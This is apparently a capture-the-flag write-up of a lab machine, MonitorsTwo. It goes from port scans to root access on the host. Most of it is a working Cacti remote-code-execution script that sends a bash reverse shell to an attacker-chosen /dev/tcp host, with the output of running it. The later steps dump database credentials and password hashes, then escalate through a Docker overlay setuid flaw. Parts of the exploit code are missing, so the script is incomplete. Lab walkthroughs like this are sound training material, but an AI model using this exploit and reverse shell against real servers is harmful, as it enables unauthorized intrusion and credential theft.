$ sudo nmap -p- --min-rate=10000 10.10.11.211 Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-18 02:44 EDT Nmap scan report for 10.10.11.211 Host is up (0.092s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 7.69 seconds
$ sudo nmap -sT -sV -sC -O -p22,80 10.10.11.211 Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-18 02:45 EDT Nmap scan report for 10.10.11.211 Host is up (0.075s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA) | 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA) |_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Login to Cacti Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 5.0 (97%), Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.50 seconds
$ sudo nmap --script=vuln 10.10.11.211 Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-18 02:45 EDT Pre-scan script results: | broadcast-avahi-dos: | Discovered hosts: | 224.0.0.251 | After NULL UDP avahi packet DoS (CVE-2011-1002). |_ Hosts are all up (not vulnerable). Nmap scan report for 10.10.11.211 Host is up (0.078s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http |_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug) |_http-csrf: Couldn't find any CSRF vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. | http-sql-injection: | Possible sqli for queries: | http://10.10.11.211:80/include/js/dygraph-combined.js?b5b448f71f8c3eb4a39506299bd81b0c=%27%20OR%20sqlspider | http://10.10.11.211:80/include/js/jquery.tablesorter.pager.js?8ca32d30195c98492cd028f582f07c8c=%27%20OR%20sqlspider | http://10.10.11.211:80/include/js/d3.js?62b21cab0960a061cb893852bfc74cfa=%27%20OR%20sqlspider |_ http://10.10.11.211:80/include/js/billboard.js?9a354b4a145f51a33bd39f8e5f042a23=%27%20OR%20sqlspider |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. | http-enum: |_ /docs/: Potentially interesting folder
Nmap done: 1 IP address (1 host up) scanned in 241.70 seconds
sudo nikto -h 10.10.11.211 - Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 10.10.11.211 + Target Hostname: 10.10.11.211 + Target Port: 80 + Start Time: 2023-07-18 03:03:35 (GMT-4) --------------------------------------------------------------------------- + Server: nginx/1.18.0 (Ubuntu) + /: Retrieved x-powered-by header: PHP/7.4.33. + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + nginx/1.18.0 appears to be outdated (current is at least 1.20.1). + /: Web Server returns a valid response with junk HTTP methods which may cause false positives. + /: DEBUG HTTP verb may show server debugging information. See: https://docs.microsoft.com/en-us/visualstudio/debugger/how-to-enable-debugging-for-aspnet-applications? + ///etc/hosts: The server install allows reading of any system file by adding an extra '/' to the URL. + /install/install.php: Install file found. + /help.php: A help file was found. + /wp-content/themes/twentyeleven/images/headers/server.php?filesrc=/etc/hosts: A PHP backdoor file manager was found. + /wordpress/wp-content/themes/twentyeleven/images/headers/server.php?filesrc=/etc/hosts: A PHP backdoor file manager was found. + /wp-includes/Requests/Utility/content-post.php?filesrc=/etc/hosts: A PHP backdoor file manager was found. + /wordpress/wp-includes/Requests/Utility/content-post.php?filesrc=/etc/hosts: A PHP backdoor file manager was found. + /wp-includes/js/tinymce/themes/modern/Meuhy.php?filesrc=/etc/hosts: A PHP backdoor file manager was found. + /wordpress/wp-includes/js/tinymce/themes/modern/Meuhy.php?filesrc=/etc/hosts: A PHP backdoor file manager was found. + /assets/mobirise/css/meta.php?filesrc=: A PHP backdoor file manager was found. + /login.cgi?cli=aa%20aa%27cat%20/etc/hosts: Some D-Link router remote command execution. + /shell?cat+/etc/hosts: A backdoor was identified. + /#wp-config.php#: #wp-config.php# file found. This file contains the credentials. + /README.md: Readme Found. + 8881 requests: 0 error(s) and 19 item(s) reported on remote host + End Time: 2023-07-18 03:16:07 (GMT-4) (752 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
defcheckVuln(): result = requests.get(vulnURL, headers=header) return (result.text != "FATAL: You are not authorized to use this service"and result.status_code == 200)
defbruteForce(): # brute force to find host id and local data id for i inrange(1, 5): for j inrange(1, 10): vulnIdURL = f"{vulnURL}?action=polldata&poller_id=1&host_id={i}&local_data_ids[]={j}" result = requests.get(vulnIdURL, headers=header)
if result.text != "[]": # print(result.text) rrdName = result.json()[0]["rrd_name"] if rrdName == "polling_time"or rrdName == "uptime": returnTrue, i, j
result = requests.get(injectedURL,headers=header) print(result.text)
if __name__ == "__main__": targetURL = input("Enter the target address (like 'http://123.123.123.123:8080')") vulnURL = f"{targetURL}/remote_agent.php" # X-Forwarded-For value should be something in the database of Cacti header = {"X-Forwarded-For": "127.0.0.1"} print("Checking vulnerability...") if checkVuln(): print("App is vulnerable") isVuln, idHost, idLocal = bruteForce() print("Brute forcing id...") # RCE payload ipAddress = "192.168.1.15" ipAddress = input("Enter your IPv4 address") port = input("Enter the port you want to listen on") payload = f"bash -c 'bash -i >& /dev/tcp/{ipAddress}/{port} 0>&1'" if isVuln: print("Delivering payload...") remoteCodeExecution(payload, idHost, idLocal) else: print("RRD not found") else: print("Not vulnerable")
直接跑一下试试。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
$ python exp.py Enter the target address (like 'http://123.123.123.123:8080')http://10.10.11.211 Checking vulnerability... App is vulnerable Brute forcing id... Enter your IPv4 address <YOUR_IP> Enter the port you want to listen on <YOUR_PORT> Delivering payload... <html> <head><title>504 Gateway Time-out</title></head> <body> <center><h1>504 Gateway Time-out</h1></center> <hr><center>nginx/1.18.0 (Ubuntu)</center> </body> </html>
本地nc监听一下就拿到shell了。
1 2 3 4 5 6
$ sudo nc -nlvp 443 listening on [any] 443 ... connect to [HTB_IP] from (UNKNOWN) [10.10.11.211] 49612 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell www-data@50bca5e748b0:/var/www/html$
www-data@50bca5e748b0:/var/www/html/include$ cat config.php cat config.php <?php /* +-------------------------------------------------------------------------+ | Copyright (C) 2004-2020 The Cacti Group | | | | This program is free software; you can redistribute it and/or | | modify it under the terms of the GNU General Public License | | as published by the Free Software Foundation; either version 2 | | of the License, or (at your option) any later version. | | | | This program is distributed in the hope that it will be useful, | | but WITHOUT ANY WARRANTY; without even the implied warranty of | | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | | GNU General Public License for more details. | +-------------------------------------------------------------------------+ | Cacti: The Complete RRDtool-based Graphing Solution | +-------------------------------------------------------------------------+ | This code is designed, written, and maintained by the Cacti Group. See | | about.php and/or the AUTHORS file for specific developer information. | +-------------------------------------------------------------------------+ | http://www.cacti.net/ | +-------------------------------------------------------------------------+ */
/* * Make sure these values reflect your actual database/host/user/password */
/* * When the cacti server is a remote poller, then these entries point to * the main cacti server. Otherwise, these variables have no use and * must remain commented out. */
www-data@50bca5e748b0:/sbin$ mysql -uroot -p mysql -uroot -p Enter password: root ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/run/mysqld/mysqld.sock' (2)
www-data@50bca5e748b0:/sbin$ mysql --host=db -uroot -proot mysql --host=db -uroot -proot show databases; exit Database information_schema cacti mysql performance_schema sys
www-data@50bca5e748b0:/sbin$ mysql --host=db -uroot -proot -e "select * from user_auth" cacti <db -uroot -proot -e "select * from user_auth" cacti id username password realm full_name email_address must_change_password password_change show_tree show_list show_preview graph_settings login_opts policy_graphs policy_trees policy_hosts policy_graph_templates enabled lastchange lastlogin password_history locked failed_attempts lastfail reset_perms 1 admin $2y$10$u8Xomk2jjbuJI3MW5TudHeytPPuaWYuNs2S2bTtiD8VW0SIp2TMwe 0 Jamie Thompson admin@monitorstwo.htb on on on on on 2 1 1 1 1 on -1 -1 -1 0 0 663348655 3 guest 43e9a4ab75570f5b 0 Guest Account on on on on on 3 1 1 1 1 1 -1 -1 -1 0 0 0 4 marcus $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.************************ 0 Marcus Brune marcus@monitorstwo.htb on on on on 1 1 1 1 1 on -1 -1 on 0 0 2135691668
$ ssh marcus@10.10.11.211 The authenticity of host '10.10.11.211 (10.10.11.211)' can't be established. ED25519 key fingerprint is SHA256:RoZ8jwEnGGByxNt04+A/cdluslAwhmiWqG3ebyZko+A. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.11.211' (ED25519) to the list of known hosts. marcus@10.10.11.211's password: Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-147-generic x86_64)
System information as of Tue 18 Jul 2023 08:22:44 AM UTC
System load: 0.02 Usage of /: 63.4% of 6.73GB Memory usage: 19% Swap usage: 0% Processes: 247 Users logged in: 1 IPv4 address for br-60ea49c21773: 172.18.0.1 IPv4 address for br-7c3b7c0d00b3: 172.19.0.1 IPv4 address for docker0: 172.17.0.1 IPv4 address for eth0: 10.10.11.211
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
You have mail. Last login: Tue Jul 18 08:21:07 2023 from 10.10.14.58 marcus@monitorstwo:~$
marcus@monitorstwo:/var/mail$ cat marcus From: administrator@monitorstwo.htb To: all@monitorstwo.htb Subject: Security Bulletin - Three Vulnerabilities to be Aware Of
Dear all,
We would like to bring to your attention three vulnerabilities that have been recently discovered and should be addressed as soon as possible.
CVE-2021-33033: This vulnerability affects the Linux kernel before 5.11.14 and is related to the CIPSO and CALIPSO refcounting for the DOI definitions. Attackers can exploit this use-after-free issue to write arbitrary values. Please update your kernel to version 5.11.14 or later to address this vulnerability.
CVE-2020-25706: This cross-site scripting (XSS) vulnerability affects Cacti 1.2.13 and occurs due to improper escaping of error messages during template import previews in the xml_path field. This could allow an attacker to inject malicious code into the webpage, potentially resulting in the theft of sensitive data or session hijacking. Please upgrade to Cacti version 1.2.14 or later to address this vulnerability.
CVE-2021-41091: This vulnerability affects Moby, an open-source project created by Docker for software containerization. Attackers could exploit this vulnerability by traversing directory contents and executing programs on the data directory with insufficiently restricted permissions. The bug has been fixed in Moby (Docker Engine) version 20.10.9, and users should update to this version as soon as possible. Please note that running containers should be stopped and restarted for the permissions to be fixed.
We encourage you to take the necessary steps to address these vulnerabilities promptly to avoid any potential security breaches. If you have any questions or concerns, please do not hesitate to contact our IT department.
marcus@monitorstwo:/tmp$ ./exp.sh [!] Vulnerable to CVE-2021-41091 [!] Now connect to your Docker container that is accessible and obtain root access ! [>] After gaining root access execute this command (chmod u+s /bin/bash)
Did you correctly set the setuid bit on /bin/bash in the Docker container? (yes/no): yes [!] Available Overlay2 Filesystems: /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
[!] Iterating over the available Overlay2 filesystems ! [?] Checking path: /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged [x] Could not get root access in'/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged'
[?] Checking path: /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged [!] Rooted ! [>] Current Vulnerable Path: /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged [?] If it didn't spawn a shell go to this path and execute './bin/bash -p'
[!] Spawning Shell bash-5.1# exit marcus@monitorstwo:/tmp$ cd /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged marcus@monitorstwo:/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged$ ./bin/bash -p bash-5.1# whoami root bash-5.1# cd /root bash-5.1# ls -la total 36 drwx------ 6 root root 4096 Mar 22 13:21 . drwxr-xr-x 19 root root 4096 Mar 22 13:21 .. lrwxrwxrwx 1 root root 9 Jan 20 2021 .bash_history -> /dev/null -rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc drwx------ 2 root root 4096 Mar 22 13:21 .cache drwxr-xr-x 2 root root 4096 Mar 22 13:21 cacti drwxr-xr-x 3 root root 4096 Mar 22 13:21 .local -rw-r--r-- 1 root root 161 Dec 5 2019 .profile -rw-r----- 1 root root 33 Jul 18 05:27 root.txt drwx------ 2 root root 4096 Mar 22 13:21 .ssh
